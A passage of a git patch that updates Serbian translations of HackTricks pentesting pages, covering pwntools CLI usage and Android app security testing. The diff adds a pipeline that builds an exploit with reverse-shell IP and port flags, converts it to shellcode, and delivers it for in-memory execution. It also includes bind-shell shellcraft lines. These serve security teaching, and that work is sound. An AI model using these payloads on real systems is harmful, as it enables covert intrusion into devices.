From 566064c8e08bd9a690131a45fe0510e986e93de0 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 02:15:44 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/in-memory-jni- --- src/SUMMARY.md | 1 + .../tools/pwntools.md | 107 ++-- .../android-app-pentesting/README.md | 547 +++++++++--------- .../in-memory-jni-shellcode-execution.md | 121 ++++ .../reversing-native-libraries.md | 97 ++-- 5 files changed, 522 insertions(+), 351 deletions(-) create mode 100644 src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 3e41d9a7b..edddf45ba 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -353,6 +353,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md) - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index e6dc428bd..ad166cbbd 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -6,17 +6,17 @@ pip3 install pwntools ``` ## Pwn asm -Dobijte **opkode** iz linije ili fajla. +Dobijte **opcodes** iz linije ili fajla. ``` pwn asm "jmp esp" pwn asm -i ``` -**Može se odabrati:** +**Moguće je izabrati:** -- tip izlaza (raw, hex, string, elf) -- kontekst izlaza (16, 32, 64, linux, windows...) -- izbegavanje bajtova (nove linije, null, lista) -- odabrati enkoder za debagovanje shellcode-a koristeći gdb za pokretanje izlaza +- tip izlaza (raw,hex,string,elf) +- kontekst izlazne datoteke (16,32,64,linux,windows...) +- izbegavati bajtove (prelomi reda, null, lista) +- izaberite encoder, debug-ujte shellcode koristeći gdb, pokrenite izlaz ## **Pwn checksec** @@ -33,48 +33,48 @@ Dobijte obrazac pwn cyclic 3000 pwn cyclic -l faad ``` -**Može se odabrati:** +**Može se izabrati:** -- Korišćeni alfabet (mala slova po defaultu) -- Dužina jedinstvenog obrasca (podrazumevano 4) +- Korišćeni alfabet (po podrazumevanju: mala slova) +- Dužina jedinstvenog patterna (podrazumevano 4) - kontekst (16,32,64,linux,windows...) -- Uzmite ofset (-l) +- Uzmi offset (-l) ## Pwn debug -Priključite GDB na proces +Prikači GDB na proces ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` -**Može se odabrati:** +**Moguće izabrati:** -- Po izvršnom fajlu, po imenu ili po pid kontekstu (16,32,64,linux,windows...) +- Po executable, po name ili po pid context (16,32,64,linux,windows...) - gdbscript za izvršavanje - sysrootpath ## Pwn disablenx -Onemogući nx binarnog fajla +Onemogućite nx za binary ``` pwn disablenx ``` ## Pwn disasm -Disas hex opkode +Disasembluj hex opcodes ``` pwn disasm ffe4 ``` **Može se odabrati:** -- kontekst (16,32,64,linux,windows...) -- osnovna adresa -- boja(podrazumevano)/bez boje +- context (16,32,64,linux,windows...) +- base addres +- color(default)/no color ## Pwn elfdiff -Ispisuje razlike između 2 datoteke +Prikazuje razlike između 2 fajla ``` pwn elfdiff ``` @@ -90,11 +90,11 @@ Dobij hexdump ``` pwn phd ``` -**Može se odabrati:** +**Može se izabrati:** - Broj bajtova za prikaz -- Broj bajtova po liniji istaknutog bajta -- Preskoči bajtove na početku +- Broj bajtova po liniji; istaknuti bajt +- Preskočiti bajtove na početku ## Pwn pwnstrip @@ -102,7 +102,7 @@ pwn phd ## Pwn shellcraft -Dobijanje shellcode-ova +Nabavite shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -110,39 +110,72 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` -**Može se izabrati:** +**Možete odabrati:** - shellcode i argumenti za shellcode -- Izlazna datoteka +- izlazna datoteka - format izlaza -- debagovanje (priključiti dbg na shellcode) -- pre (debug trap pre koda) +- debug (prikači dbg na shellcode) +- pre (debug trap before code) - posle -- izbegavati korišćenje opkoda (podrazumevano: ne null i nova linija) +- izbegavati korišćenje opcodes (default: not null and new line) - Pokreni shellcode -- Boja/bez boje +- Boja / bez boje - lista syscalls -- lista mogućih shellcode-ova -- Generiši ELF kao deljenu biblioteku +- lista mogućih shellcodes +- Generiši ELF kao shared library -## Pwn šablon +## Pwn template -Dobijte python šablon +Preuzmi python šablon ``` pwn template ``` -**Može se odabrati:** host, port, user, pass, path i quiet +**Moguće je izabrati:** host, port, user, pass, path and quiet ## Pwn unhex -Iz heksadecimalnog u string +Od hex do string ``` pwn unhex 686f6c61 ``` -## Pwn ažuriranje +## Pwn update -Da ažurirate pwntools +Da biste ažurirali pwntools ``` pwn update ``` +## ELF → pakovanje raw shellcode-a (loader_append) + +Pwntools može pretvoriti samostalni ELF u jedinstveni raw shellcode blob koji sam mapira svoje segmente i prebaci izvršavanje na originalni entrypoint. Ovo je idealno za memory-only loadere (npr. Android aplikacije koje pozivaju JNI da izvrše preuzete bajtove). + +Tipični pipeline (amd64 primer) + +1) Izgradite statički, position‑independent payload ELF (musl preporučen zbog prenosivosti): +```bash +musl-gcc -O3 -s -static -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +2) Pretvori ELF → shellcode pomoću pwntools: +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +sc = asm(shellcraft.loader_append(elf.data, arch='amd64')) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes") +``` +3) Dostavite sc loaderu u memoriji (npr. preko HTTP[S]) i izvršite unutar procesa. + +Napomene +- loader_append ugrađuje originalni ELF program u shellcode i emituje mali loader that mmaps the segments and jumps to the entry. +- Budite eksplicitni u vezi arhitekture preko context.clear(arch=...). arm64 je čest na Androidu. +- Obezbedite da kod vašeg payload‑a bude position‑independent i izbegavajte pretpostavke o procesu ASLR/NX. + +## References + +- [Pwntools](https://docs.pwntools.com/en/stable/) +- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 9c70f81a3..f4fd957bc 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Android aplikacije Pentesting +# Pentesting Android aplikacija {{#include ../../banners/hacktricks-training.md}} ## Osnove Android aplikacija -Toplo se preporučuje da počnete sa čitanjem ove stranice kako biste se upoznali sa **najvažnijim delovima vezanim za Android bezbednost i najopasnijim komponentama u Android aplikaciji**: +Toplo se preporučuje da prvo pročitate ovu stranicu kako biste saznali o **najvažnijim delovima vezanim za bezbednost Androida i o najozbiljnijim/opasnijim komponentama u Android aplikaciji**: {{#ref}} @@ -13,24 +13,24 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Ovo je glavni alat koji vam je potreban da se povežete sa Android uređajem (emuliranim ili fizičkim).\ -**ADB** omogućava upravljanje uređajima preko **USB** ili **mreže** sa računara. Ovaj alat omogućava **kopiranje** fajlova u oba smera, **instalaciju** i **deinstalaciju** aplikacija, **izvođenje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, među ostalim funkcijama. +Ovo je glavni alat koji vam treba za povezivanje na Android uređaj (emuliran ili fizički).\ +**ADB** omogućava kontrolu uređaja bilo preko **USB** ili **Network** sa računara. Ovaj alat omogućava **kopiranje** fajlova u oba smera, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje backup-a** podataka, **čitanje** logova, među ostalim funkcijama. -Pogledajte sledeću listu [**ADB Commands**](adb-commands.md) da naučite kako da koristite adb. +Pogledajte sledeću listu [**ADB Commands**](adb-commands.md) da naučite kako koristiti adb. ## Smali -Ponekad je korisno **izmeniti kod aplikacije** da bi se pristupilo **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili flagovima). U tom slučaju može biti korisno dekompajlirati apk, izmeniti kod i ponovo ga kompajlirati.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Dakle, **uvek imajte ovu mogućnost na umu**. +Ponekad je korisno **izmeniti kod aplikacije** kako biste pristupili **skrivenim informacijama** (npr. dobro obfuskovanim lozinkama ili flagovima). Tada može biti korisno dekompajlirati apk, izmeniti kod i ponovo ga kompajlirati.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za više testova tokom dinamičke analize** koji će biti predstavljeni. Dakle, **uvek imajte ovu mogućnost na umu**. -## Ostali zanimljivi trikovi +## Other interesting tricks - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Preuzimanje APK-ova**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- Izvlačenje APK-a sa uređaja: +- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- Extract APK from device: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Spojite sve splits i base apks pomoću [APKEditor](https://github.com/REAndroid/APKEditor): +- Spojite sve splits i base apks sa [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Studije slučaja & Ranjivosti +## Studije slučaja i ranjivosti {{#ref}} @@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Statička analiza -Prvo, za analizu APK-a treba da **pogledate Java kod** koristeći decompiler.\ -Molimo, [**pročitajte ovde da biste pronašli informacije o različitim dostupnim decompilerima**](apk-decompilers.md). +Prvo, za analizu APK-a treba **pogledati Java kod** koristeći dekompajler.\ +Molimo, [**pročitajte ovde za informacije o različitim dostupnim dekompajlerima**](apk-decompilers.md). -### Potražite zanimljive informacije +### Traženje interesantnih informacija -Samo pregledom **strings** iz APK-a možete tražiti **lozinke**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API** keys, **encryption**, **bluetooth uuids**, **tokens** i sve što je interesantno... tražite čak i code execution **backdoors** ili authentication backdoors (hardcoded admin credentials u aplikaciji). +Samo pregledanjem **strings** iz APK-a možete tražiti **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** i sve što je interesantno... tražite čak i code execution **backdoors** ili authentication backdoors (hardcoded admin credentials u aplikaciji). **Firebase** -Obratite posebnu pažnju na **Firebase URL-ove** i proverite da li je loše konfigurisan. [Više informacija o tome šta je Firebase i kako ga eksploatisati ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Obratite posebnu pažnju na **firebase URLs** i proverite da li je pogrešno konfigurisano. [Više informacija o tome šta je Firebase i kako ga eksploatisati ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Osnovno razumevanje aplikacije - Manifest.xml, strings.xml -Pregled aplikacionih fajlova _Manifest.xml_ i **_strings.xml_** može otkriti potencijalne sigurnosne ranjivosti. Ovi fajlovi se mogu pristupiti koristeći decompile ili preimenovanjem APK fajla u .zip i njegovim raspakivanjem. +**Pregled _Manifest.xml_ i **_strings.xml_** fajlova aplikacije može otkriti potencijalne sigurnosne ranjivosti**. Do ovih fajlova se može pristupiti pomoću dekompajlera ili preimenovanjem ekstenzije APK fajla u .zip i njihovim raspakivanjem. **Ranjivosti** identifikovane iz **Manifest.xml** uključuju: -- **Debuggable Applications**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ predstavljaju rizik jer omogućavaju konekcije koje mogu dovesti do eksploatacije. Za dalje razumevanje kako eksploatisati debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju. -- **Backup Settings**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje rade sa osetljivim informacijama kako bi se sprečilo neautorizovano pravljenje backup-a preko adb-a, naročito kada je usb debugging omogućен. -- **Network Security**: Custom network security konfiguracije (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati detalje kao što su certificate pins i HTTP podešavanja. Primer je dozvoljavanje HTTP saobraćaja za specifične domene. -- **Exported Activities and Services**: Identifikacija exported activities i services u manifestu može ukazati na komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako eksploatisati ove komponente. -- **Content Providers and FileProviders**: Izloženi content provider-i mogu dozvoliti neautorizovan pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe zahteva pažljivo ispitivanje. -- **Broadcast Receivers and URL Schemes**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnom pažnjom na to kako su URL schemes obrađeni zbog mogućih input ranjivosti. -- **SDK Versions**: Atributi `minSdkVersion`, `targetSDKVersion`, i `maxSdkVersion` ukazuju na podržane Android verzije, naglašavajući važnost ne podržavanja zastarelih, ranjivih Android verzija iz bezbednosnih razloga. +- **Debuggable Applications**: Aplikacije koje su označene kao debuggable (`debuggable="true"`) u _Manifest.xml_ predstavljaju rizik jer dozvoljavaju konekcije koje mogu dovesti do eksploatacije. Za dublje razumevanje kako eksploatisati debuggable aplikacije, pogledajte tutorijal o pronalaženju i iskorišćavanju debuggable aplikacija na uređaju. +- **Backup Settings**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje rade sa osetljivim podacima kako bi se sprečili neautorizovani backup-i podataka preko adb, naročito kada je usb debugging omogućen. +- **Network Security**: Prilagođene network security konfiguracije (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati detalje bezbednosti kao što su certificate pins i podešavanja HTTP saobraćaja. Primer je dozvoljavanje HTTP saobraćaja za određene domene. +- **Exported Activities and Services**: Identifikovanje exported aktivnosti i servisa u manifestu može ukazati na komponente koje se mogu zloupotrebiti. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente. +- **Content Providers and FileProviders**: Izloženi content provideri mogu omogućiti neautorizovan pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe zahteva pažljivu proveru. +- **Broadcast Receivers and URL Schemes**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnom pažnjom na to kako se URL schemes obrađuju i moguće input ranjivosti. +- **SDK Versions**: Atributi `minSdkVersion`, `targetSDKVersion`, i `maxSdkVersion` ukazuju na podržane Android verzije, naglašavajući važnost izbegavanja podrške za zastarele, ranjive Android verzije iz bezbednosnih razloga. -Iz **strings.xml** fajla mogu se otkriti osetljive informacije kao što su API ključevi, custom schemas i druge beleške developera, što naglašava potrebu za pažljivim pregledom ovih resursa. +Iz **strings.xml** fajla mogu se otkriti osetljive informacije kao što su API keys, custom schemas i druge beleške developera, što ističe potrebu za pažljivim pregledom ovih resursa. ### Tapjacking -**Tapjacking** je napad gde se **zlonamerna** **aplikacija** pokreće i **pozicionira iznad žrtvine aplikacije**. Kada vizuelno zaseni žrtvinu aplikaciju, njen UI je dizajniran tako da prevari korisnika da interaguje sa njom, dok se ta interakcija prosleđuje žrtvinoj aplikaciji.\ -U efektu, to **slepi korisnika da zna da zapravo izvodi akcije u žrtvinoj aplikaciji**. +**Tapjacking** je napad gde se pokrene **malicious** **application** koja se pozicionira iznad aplikacije žrtve. Kada vizuelno zaseni aplikaciju žrtve, njen UI je dizajniran tako da prevari korisnika da interaguje sa njim, dok istovremeno prosleđuje tu interakciju stvarnoj aplikaciji žrtve.\ +U praksi, to je **slepilo korisnika da zna da zapravo izvodi akcije na aplikaciji žrtve**. -Više informacija pronađite u: +Find more information in: {{#ref}} @@ -104,7 +104,7 @@ tapjacking.md ### Task Hijacking -Activity sa `launchMode` podešenim na `singleTask` bez definisanog `taskAffinity` je ranjiva na task Hijacking. To znači da se **maliciozna aplikacija** može instalirati i, ako se pokrene pre prave aplikacije, može **oteti task prave aplikacije** (tako da će korisnik interagovati sa **malicioznom aplikacijom misleći da koristi pravu**). +Activity sa `launchMode` postavljenim na `singleTask` bez definisanog `taskAffinity` je ranjiva na Task Hijacking. To znači da se maliciozna aplikacija može instalirati i ako se pokrene pre prave aplikacije, može **hijack-ovati task prave aplikacije** (tako da će korisnik interagovati sa **malicious application** misleći da koristi pravu). Više informacija u: @@ -113,101 +113,101 @@ Više informacija u: android-task-hijacking.md {{#endref}} -### Nesigurno skladištenje podataka +### Nesigurno čuvanje podataka **Internal Storage** -U Androidu, fajlovi **smešteni** u **internal** storage su dizajnirani da budu dostupni isključivo aplikaciji koja ih je **kreirala**. Ova mera sigurnosti se **sprovodi** od strane Android OS-a i obično je dovoljna za potrebe većine aplikacija. Međutim, developeri ponekad koriste režime poput `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da bi **dozvolili** deljenje fajlova između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** tim fajlovima od strane drugih aplikacija, uključujući potencijalno maliciozne. +U Androidu, fajlovi koji se čuvaju u **internal storage** su dizajnirani da budu dostupni isključivo aplikaciji koja ih je kreirala. Ova sigurnosna mera je sprovedena od strane Android operativnog sistema i obično je adekvatna za potrebe većine aplikacija. Međutim, developeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da bi omogućili deljenje fajlova među različitim aplikacijama. Ti režimi ne ograničavaju pristup tim fajlovima drugim aplikacijama, uključujući i potencijalno zlonamerne. 1. **Static Analysis:** -- **Proverite** da li je upotreba `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` **pažljivo ispitana**. Ovi režimi **mogu potencijalno izložiti** fajlove neželjenom ili neautorizovanom pristupu. +- **Proverite** upotrebu `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` i pažljivo ih analizirajte. Ovi režimi **mogu potencijalno izložiti** fajlove neželjenom ili neautorizovanom pristupu. 2. **Dynamic Analysis:** -- **Verifikujte** permisije postavljene na fajlovima koje aplikacija kreira. Konkretno, **proverite** da li su neki fajlovi **postavljeni da budu čitljivi ili pisljivi svima**. Ovo može predstavljati značajan sigurnosni rizik, jer bi omogućilo **svakoj aplikaciji** instaliranoj na uređaju, bez obzira na poreklo ili nameru, da **čita ili menja** te fajlove. +- **Verifikujte** permisije na fajlovima koje aplikacija kreira. Konkretno, **proverite** da li su neki fajlovi postavljeni da budu čitljivi ili pisivi za sve. Ovo može predstavljati značajan sigurnosni rizik, jer bi omogućilo **bilo kojoj aplikaciji** instaliranoj na uređaju, bez obzira na poreklo ili nameru, da **čitaju ili modifikuju** te fajlove. **External Storage** -Kada je reč o fajlovima na **external storage**, kao što su SD kartice, treba preduzeti određene mere opreza: +Kada se radi o fajlovima na **external storage**, kao što su SD kartice, treba preduzeti određene mere opreza: -1. **Pristupačnost**: -- Fajlovi na external storage su **globalno čitljivi i pisljivi**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim fajlovima. +1. **Dostupnost**: +- Fajlovi na external storage su **globalno čitljivi i pisivi**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim fajlovima. 2. **Bezbednosne brige**: -- S obzirom na lakoću pristupa, ne preporučuje se čuvanje osetljivih informacija na external storage. -- External storage može biti uklonjen ili mu može pristupiti bilo koja aplikacija, što ga čini manje sigurnim. -3. **Rukovanje podacima sa external storage**: -- Uvek **vršite validaciju unosa** na podacima dohvaćenim sa external storage. To je ključno jer podaci dolaze iz nepouzdanog izvora. +- S obzirom na lakoću pristupa, preporučuje se **ne čuvati osetljive informacije** na external storage. +- External storage može biti uklonjen ili pristupljen od strane bilo koje aplikacije, što ga čini manje sigurnim. +3. **Rukovanje podacima iz External Storage**: +- Uvek **vršite validaciju ulaza** na podacima preuzetim iz external storage. Ovo je ključno jer podaci dolaze iz nepoverljivog izvora. - Ne preporučuje se čuvanje izvršnih fajlova ili class fajlova na external storage za dinamičko učitavanje. -- Ako aplikacija mora da učita izvršne fajlove sa external storage, osigurajte da su ti fajlovi **potpisani i kriptografski verifikovani** pre dinamičkog učitavanja. Ovaj korak je vitalan za očuvanje sigurnosnog integriteta aplikacije. +- Ako vaša aplikacija mora da učita izvršne fajlove iz external storage, osigurajte da su ti fajlovi **potpisani i kriptografski verifikovani** pre dinamičkog učitavanja. Ovaj korak je vitalan za očuvanje bezbednosnog integriteta aplikacije. -External storage može se **pristupiti** u `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` +External storage se može pristupiti u /storage/emulated/0 , /sdcard , /mnt/sdcard > [!TIP] -> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup iz aplikacije samo na direktorijum koji je specifičan za tu aplikaciju**. Ovo sprečava malicioznu aplikaciju da stekne read ili write pristup fajlovima druge aplikacije. +> Počev od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikaciji samo na direktorijum koji je specifičan za tu aplikaciju**. Ovo sprečava da maliciozna aplikacija dobije read ili write pristup fajlovima druge aplikacije. -**Osetljivi podaci uskladišteni u čistom tekstu** +**Osetljivi podaci čuvani u običnom tekstu** -- **Shared preferences**: Android omogućava svakoj aplikaciji da lako sačuva xml fajlove u putanji `/data/data//shared_prefs/` i ponekad je moguće naći osetljive informacije u čistom tekstu u tom folderu. -- **Databases**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze u putanji `/data/data//databases/` i ponekad je moguće naći osetljive informacije u čistom tekstu u tom folderu. +- **Shared preferences**: Android omogućava svakoj aplikaciji da lako sačuva xml fajlove u putanji `/data/data//shared_prefs/` i ponekad je moguće pronaći osetljive informacije u običnom tekstu u tom folderu. +- **Databases**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze u putanji `/data/data//databases/` i ponekad je moguće pronaći osetljive informacije u običnom tekstu u tom folderu. -### Broken TLS +### Pokvaren TLS **Accept All Certificates** -Iz nekog razloga, ponekad developeri prihvataju sve sertifikate čak i kada, na primer, hostname ne odgovara, sa linijama koda kao što su sledeće: +Iz nekog razloga, ponekad developeri prihvataju sve sertifikate čak i ako, na primer, hostname ne odgovara, sa linijama koda kao u sledećem primeru: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -### Neispravna kriptografija +### Pokvarena kriptografija -**Loši procesi upravljanja ključevima** +**Neispravni procesi upravljanja ključevima** -Neki developeri čuvaju osetljive podatke u lokalnoj memoriji i kriptuju ih ključem hardkodiranim/predvidljivim u kodu. Ovo ne bi trebalo raditi jer bi reverzovanje moglo omogućiti napadačima da izvuku poverljive informacije. +Neki developeri čuvaju osetljive podatke u lokalnom skladištu i enkriptuju ih ključem hardkodovanim/predvidivim u kodu. To ne bi trebalo raditi jer reverzovanje može omogućiti napadačima da izvuku poverljive informacije. **Korišćenje nesigurnih i/ili zastarelih algoritama** -Developeri ne bi trebalo da koriste **deprecated algorithms** za izvršavanje autorizacionih **checks**, **store** ili **send** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se koriste **hashes** za skladištenje lozinki na primer, treba koristiti hashove otporne na brute-force uz salt. +Developeri ne bi trebalo da koriste **deprecated algorithms** za izvođenje autorizacionih **provera**, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hashes** koriste za čuvanje lozinki, na primer, treba koristiti **brute-force resistant** heš metode sa salt-om. ### Ostale provere -- Preporučuje se da **obfuscate the APK** kako bi se otežao posao reverse engineer-ima. -- Ako je aplikacija osetljiva (kao bank apps), treba da izvodi svoje provere da li je mobilni rooted i da postupi u skladu s tim. -- Ako je aplikacija osetljiva (kao bank apps), treba da proveri da li se koristi **emulator**. -- Ako je aplikacija osetljiva (kao bank apps), treba da **check it's own integrity before executing** kako bi proverila da li je modifikovana. +- Preporučuje se da **obfuscate the APK** kako bi se otežalo reverz inženjering napadačima. +- Ako je app osetljiv (na primer bankarske aplikacije), treba da izvršava sopstvene provere da vidi da li je mobilni **rooted** i da se ponaša u skladu sa tim. +- Ako je app osetljiv (na primer bankarske aplikacije), treba da proveri da li se koristi **emulator**. +- Ako je app osetljiv (na primer bankarske aplikacije), treba da **proveri sopstveni integritet pre izvršavanja** kako bi proverio da li je izmenjen. - Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji compiler/packer/obfuscator je korišćen za izgradnju APK-a -### React Native aplikacija +### React Native Application -Pročitajte sledeću stranu da naučite kako lako pristupiti javascript kodu React aplikacija: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} react-native-application.md {{#endref}} -### Xamarin aplikacije +### Xamarin Applications -Pročitajte sledeću stranu da naučite kako lako pristupiti C# kodu xamarin aplikacija: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} ../xamarin-apps.md {{#endref}} -### Superpacked aplikacije +### Superpacked Applications -Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked je Meta algoritam koji kompresuje sadržaj aplikacije u jednu datoteku. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ovakve aplikacije... i bržem načinu koji podrazumeva **pokretanje aplikacije i prikupljanje dekompresovanih fajlova iz fajl sistema.** +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** -### Automatizovana statička analiza koda +### Automatska statička analiza koda -Alat [**mariana-trench**](https://github.com/facebook/mariana-trench) je sposoban da pronađe **vulnerabilities** skeniranjem **code** aplikacije. Ovaj alat sadrži niz **known sources** (koji ukazuju alatu **places** gde je **input** **controlled by the user**), **sinks** (koji ukazuju alatu na **dangerous** **places** gde maliciozan korisnički unos može prouzrokovati štetu) i **rules**. Ove rules ukazuju na **combination** of **sources-sinks** koja označava ranjivost. +The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. -Sa ovim znanjem, **mariana-trench će pregledati kod i pronaći moguće ranjivosti u njemu**. +With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -Aplikacija može sadržati secrets (API keys, passwords, hidden urls, subdomains...) unutar nje koje možete otkriti. Možete koristiti alat kao što je [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,14 +216,19 @@ Aplikacija može sadržati secrets (API keys, passwords, hidden urls, subdomains bypass-biometric-authentication-android.md {{#endref}} -### Druge interesantne funkcije +### Ostale interesantne funkcije - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` - **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` - [Read this to learn **how to reverse 